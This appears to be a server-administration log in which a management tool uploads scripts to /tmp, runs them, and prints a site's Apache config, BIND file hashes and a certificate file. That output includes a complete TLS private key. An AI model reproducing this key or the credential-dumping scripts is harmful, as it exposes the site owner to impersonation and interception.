Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2026-01-03 19:28:08:
PUT: /tmp/pkp746653
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-enabled/carelinks_www_org-uk.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2026-01-03 19:28:08:
chmod 755 /tmp/pkp746653; /tmp/pkp746653; rm /tmp/pkp746653
2026-01-03 19:28:09:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/carelinks_www_org-uk.conf 1403
<VirtualHost *:80>
ServerName carelinks.org.uk
ServerAlias www.carelinks.org.uk
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/carelinks-uk_www
<Directory /var/www/carelinks-uk_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/carelinks/www_access.log combined
ErrorLog /var/log/apache2/carelinks/www_error.log
SetEnv pkp_uid 36
SetEnv pkp_owner carelinksuk
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName carelinks.org.uk
ServerAlias www.carelinks.org.uk
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/86cfc05b70ff27e9bd43265985e9e664.crt
DocumentRoot /var/www/carelinks-uk_www
<Directory /var/www/carelinks-uk_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/carelinks/www_secure_access.log combined
ErrorLog /var/log/apache2/carelinks/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2026-01-03 19:28:09:
PUT: /tmp/pkp423591
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/86cfc05b70ff27e9bd43265985e9e664.crt')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2026-01-03 19:28:09:
chmod 755 /tmp/pkp423591; /tmp/pkp423591; rm /tmp/pkp423591
2026-01-03 19:28:09:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/86cfc05b70ff27e9bd43265985e9e664.crt 5393
9e:e9:54:a9:b2:0e:08:41:75:66:fa:c9:e3:49:ec:a4
-----BEGIN CERTIFICATE-----
MIIFGjCCBAKgAwIBAgISBu3kdLRcg0/v9zKApzpKjKfAMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMjMxMDUwMjE0WhcNMjYwMzMxMDUwMjEzWjAbMRkwFwYDVQQD
ExBjYXJlbGlua3Mub3JnLnVrMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKC
AQEAwER144zM2Q9cwDE11JnyJdSFu6JsKTdTVcnZnZl6315KnSViPEoaQcikZiBi
TpMiWOfEkF3fFNPigbzXeX2Odiu0XkJWH2lE+TKLzJaHSFkXgzCFJX96IgkigdpJ
zOKksYZX417HnNBys8l0Bz5qrOHYUXRpGVAFO6Tj93aUXBKyFMyuef+FDJirUffv
tfzU1CKMpQsgL2qe6F7SpVSBLHiMBH00scUn2loo8vp5oW/SrfvwLjRtchrAXUrX
+II5J+No8GR1EZcEsPfmqxukR8D/r/0jSsJQGzjuGTYjmNRcGy9mOl7/jEC44Xgn
GFv3pqUcVGIAgSrg7jQBVzse6wIDAQABo4ICPjCCAjowDgYDVR0PAQH/BAQDAgWg
MB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMBAf8EAjAAMB0G
A1UdDgQWBBT1RzC+yK3Oe4KyEqDMJYk2g2Gf7jAfBgNVHSMEGDAWgBTnq58PLDOg
U9NeT3jIsoQOO9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6
Ly9yMTMuaS5sZW5jci5vcmcvMDEGA1UdEQQqMCiCEGNhcmVsaW5rcy5vcmcudWuC
FHd3dy5jYXJlbGlua3Mub3JnLnVrMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1Ud
HwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvNjUuY3JsMIIBDAYK
KwYBBAHWeQIEAgSB/QSB+gD4AHYAZBHEbKQS7KeJHKICLgC8q08oB9QeNSer6v7V
A8l9zfAAAAGbcv6ROwAABAMARzBFAiEAiavGIIZxMuP4LJUBsJZddvcZOyCxEhEQ
TvTBh5OPiYwCIFA0I3mS1gWB7tJKmWZVYlzwZ/k3VLAv7JqM5O6xKVJQAH4Apcl4
kl1XRheChw3YiWYLXFVki30AQPLsB2hR0YhpGfcAAAGbcv6SHgAIAAAFAC1f0d4E
AwBHMEUCIQCYIj0xw1WzU1pCY1NtWeZbnXCf/cl8LtHrfxM9k/tkSgIgA5bncTFQ
hnqCYjD31GNQrRpwtiIw6veekZ5ZV05BI1cwDQYJKoZIhvcNAQELBQADggEBAGfS
FDge69ag2iI2YVKnZNTZz7OKNAdzqdiDhEKcvWEkuu+LZveomQeHHXfH7GmhSN+x
qPkysCQI6vUXsJzoA10ueaQBZBfB3ObRjGaLWlxz1sHb0r3h9P84k2WSlOJvZgzA
YOpNx4IZR9mybTMr9uKpPB0i+SPigTn+2Gbg6fazFkz+kQLisj5xlcffHcDdsBt9
QKFahOy59x27mFA44cma9ShrEK6Q4nBKcm510sXcVYFflMV0R6b3ogWkHubmZuS9
6imrW40+0MCcZjUxS3BEM+VlABec6i+7kd31LuHmH0VAB2lSc2oVBmrBeVVBzavN
/olrs+9An8FpInsfPRQ=
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQDARHXjjMzZD1zA
MTXUmfIl1IW7omwpN1NVydmdmXrfXkqdJWI8ShpByKRmIGJOkyJY58SQXd8U0+KB
vNd5fY52K7ReQlYfaUT5MovMlodIWReDMIUlf3oiCSKB2knM4qSxhlfjXsec0HKz
yXQHPmqs4dhRdGkZUAU7pOP3dpRcErIUzK55/4UMmKtR9++1/NTUIoylCyAvap7o
XtKlVIEseIwEfTSxxSfaWijy+nmhb9Kt+/AuNG1yGsBdStf4gjkn42jwZHURlwSw
9+arG6RHwP+v/SNKwlAbOO4ZNiOY1FwbL2Y6Xv+MQLjheCcYW/empRxUYgCBKuDu
NAFXOx7rAgMBAAECggEAGSB5UFPaK53fLxDfVO8KNIPJ4cPazdIjVnQAOCFS67aC
Gs0ZbFak3XxaxoFXR6c2lxbcW0pL+V1YM0CvilBB2ii2XuvddH0d8fv3RYqrQxBo
SxFVZ+6j0qc4oW7FM/0ErVyox21fZJuLT1ALFVfvZLOelm/tEk1LucfqsQWyuDYm
P3G2oHdDo/w+5eSV6YE4vUFksi3Tlw4HeWcWGVPTKWDsrOoyHiKn8Lx39qLLgrRB
9cvTZIdf62VAzE7yP8URZu1WSlvdIqk6Bid/Gwr3nwMfdXiqjzyfBKHN6gJxkGJD
o6L2MNGXwaSmzwowHPCFoeQnECSgml2xePXjtrKafQKBgQD4gptmkh2ERpN3DSs+
TC4ygKTrcUl+z3TlduUckd4RijNLyoe02CUlCH5+CItxRiErehzXG7iIVcrmqakZ
n91kFJOjs1CQVL2q1+bu+I4gDP7MnwdYuVFxjnS7jwRXANbB+6h2xjGw/f7RYnga
NU0hIlsW29SXgTghiDo50Xb1jQKBgQDGD+jbKW3byuQI/UYromoIes/F3qFDBEeb
M7JY3Nn9KQuggX0h/JUxlJO3naEl89OAt9Nnyn3fzA7YNJLRIWSwXv67qwRqcsgV
iysQPZ4FSzDMDb5FMseoBMD5EpIETaFaFSCg0heABqff0txY+OX2MUMX45i2B9he
r4xaZItcVwKBgEDuv3QZkaTSXA2rXzUz6o4/ltf+DdoYks6yNkM0yfWDSsvu626R
W4NFqOd9jBHY5SnbClYaZCkbYZzLj+emIc7YoYsQe2h6++P77ddbEqfFPX5xvxWr
tmAZfN7VC6lACt08yFPgjXNVqpNDS2Ztru2NcIeUgQPlO6lnUu9wj8ixAoGAIjaz
WdCRSquEsszVp0n6GRbl919a6hG+MOBASbt06JeDi6lyrUFNoG/zCH/xS3YQLicT
HNXM4rEES3LhfcDP/OucA10qeRz01UviF38dYfq4Jjeli5yXAr43e48qrBWg7sfB
iCZiqtn7e92X9MKiLuIZnfHR+nfmd4zJqP+/VycCgYBe3NoREsC6SxzuAcy1lwOp
n1JNuk/lBR9DKCnl26DwNFHviN8hNo/JMIql5YJbYZxaHESOUs4DdUYiRW2Tdtlo
sL18lGquZcEVSK3RqZpnikDjsBX5D7iA7kLHxwVSxBWw4Atd2eyXgUSnuynwLFDU
rJUoihz8JvkuSNDmOZ5Y+g==
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
2026-01-03 19:28:09: Establishing a connection
2026-01-03 19:28:09:
PUT: /tmp/pkp429386
#!/usr/bin/php
<?php
// What files are being used by Bind, and what are their contents?
// php's token_get_all() makes this fairly quick
$directory = '/etc/bind';
ob_start('ob_gzhandler');
parseFile('named.conf');
ob_end_flush();
function parseFile($filename, $parse = TRUE) {
global $directory;
if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
$hash = md5_file($filename);
echo "MD5({$filename})= {$hash}\n";
if ($parse) {
$content = "<?php\n" . file_get_contents($filename);
$tokens = token_get_all($content);
$i = 0;
parseGroup($tokens, $i);
}
}
function unQuote($value) {
$ch = $value[0];
if ($ch == '"' || $ch == "'") {
if (substr($value, -1) == $ch) {
$value = substr($value, 1, -1);
}
}
return $value;
}
function addEntry(&$current) {
global $directory;
if (count($current)) {
switch($current[0]) {
case 'include':
$filename = unQuote($current[1]);
parseFile($filename);
break;
case 'directory':
$directory = unQuote($current[1]);
break;
case 'file':
$filename = unQuote($current[1]);
parseFile($filename, FALSE); // Resource File - do not parse
break;
}
}
$current = [];
}
function ParseGroup($tokens, &$i) {
$current = [];
$c = count($tokens);
while ($i < $c) {
$token = $tokens[$i];
if (is_array($token)) {
$token_name = $token[0];
$token_data = $token[1]; // [2] = line number
} else {
$token_name = -1;
$token_data = $token;
}
switch ($token_name) {
case -1:
if ($token_data == ';') { // end of statement
$i++;
addEntry($current);
} elseif ($token_data == '{') { // group
$i++;
ParseGroup($tokens, $i);
} elseif ($token_data == '}') { // end of group
addEntry($current);
return;
}
case T_OPEN_TAG:
case T_WHITESPACE:
case T_COMMENT:
break;
case T_DNUMBER: // 127.0 / .0 / .1
case T_LNUMBER:
case T_CONSTANT_ENCAPSED_STRING:
case T_STRING:
case T_INCLUDE:
$current[] = $token_data;
break;
}
$i++;
}
addEntry($current);
}
2026-01-03 19:28:09:
runuser -l bind -s /bin/bash -c '/tmp/pkp429386; rm /tmp/pkp429386'
2026-01-03 19:28:09:
MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= da5950cd780a6130ceaaf046681acc0d
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
